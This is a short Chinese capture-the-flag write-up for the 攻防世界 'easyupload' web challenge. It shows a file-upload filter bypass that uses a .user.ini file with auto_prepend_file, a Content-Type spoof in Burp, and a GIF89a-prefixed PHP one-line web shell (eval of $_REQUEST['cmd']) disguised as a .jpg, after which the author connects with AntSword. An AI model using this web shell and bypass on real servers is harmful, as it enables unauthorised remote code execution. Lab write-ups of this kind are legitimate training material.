攻防世界-WEB-easyupload

1.新建.user.ini文件,内容如下

GIF89a

auto_prepend_file=a.jpg

2.上传该文件,并用burp抓包,将Content-Type: application/octet-stream修改为

Content-Type: image/jpg

3.放包,结果如下

  1. 新建a.txt文件,内容为

GIF89a

<?=eval($_REQUEST['cmd']);?>

保存后将文件后缀修改为.jpg

5.直接上传该文件即可成功上传

PS:按F12打开调试器选择网络查看上传文件的地址

如图所示上传地址为:****/uploads/index.php

6.直接蚁剑连接

7.结果如下

8.查找flag

相关推荐
蒙奇D索大5 天前
【11408学习记录】考研数学核心突破:矩阵本质、系统信息与向量空间基
笔记·学习·线性代数·考研·矩阵·改行学it
蒙奇D索大5 天前
【11408学习记录】[特殊字符] 速解命题核心!考研数学线性代数:4类行列式满分技巧(含秒杀公式)
笔记·学习·线性代数·考研·改行学it
青钰未央6 天前
23、Python字符串核心机制解析:驻留原理、对象比较与成员检测实战
python·改行学it
蒙奇D索大8 天前
【11408学习记录】考研数学攻坚:行列式本质、性质与计算全突破
笔记·学习·线性代数·考研·机器学习·改行学it
蒙奇D索大17 天前
【11408学习记录】考研英语写作提分秘籍:2013真题邀请信精讲+万能模板套用技巧
笔记·学习·考研·改行学it
@comefly17 天前
钉钉热点实时推送助理-思路篇
改行学it
青钰未央18 天前
19、Python字符串高阶实战:转义字符深度解析、高效拼接与输入处理技巧
python·改行学it
Sherlock Ma20 天前
MySQL:零基础入门(狂神版)
java·数据库·程序人生·mysql·职场和发展·学习方法·改行学it
青钰未央25 天前
17、Python对象操作全解析:同一运算符、成员运算符与整数缓存机制实战
python·改行学it
学习AI大模型1 个月前
深度解析:切片实现与策略模式的应用
人工智能·深度学习·ai·语言模型·改行学it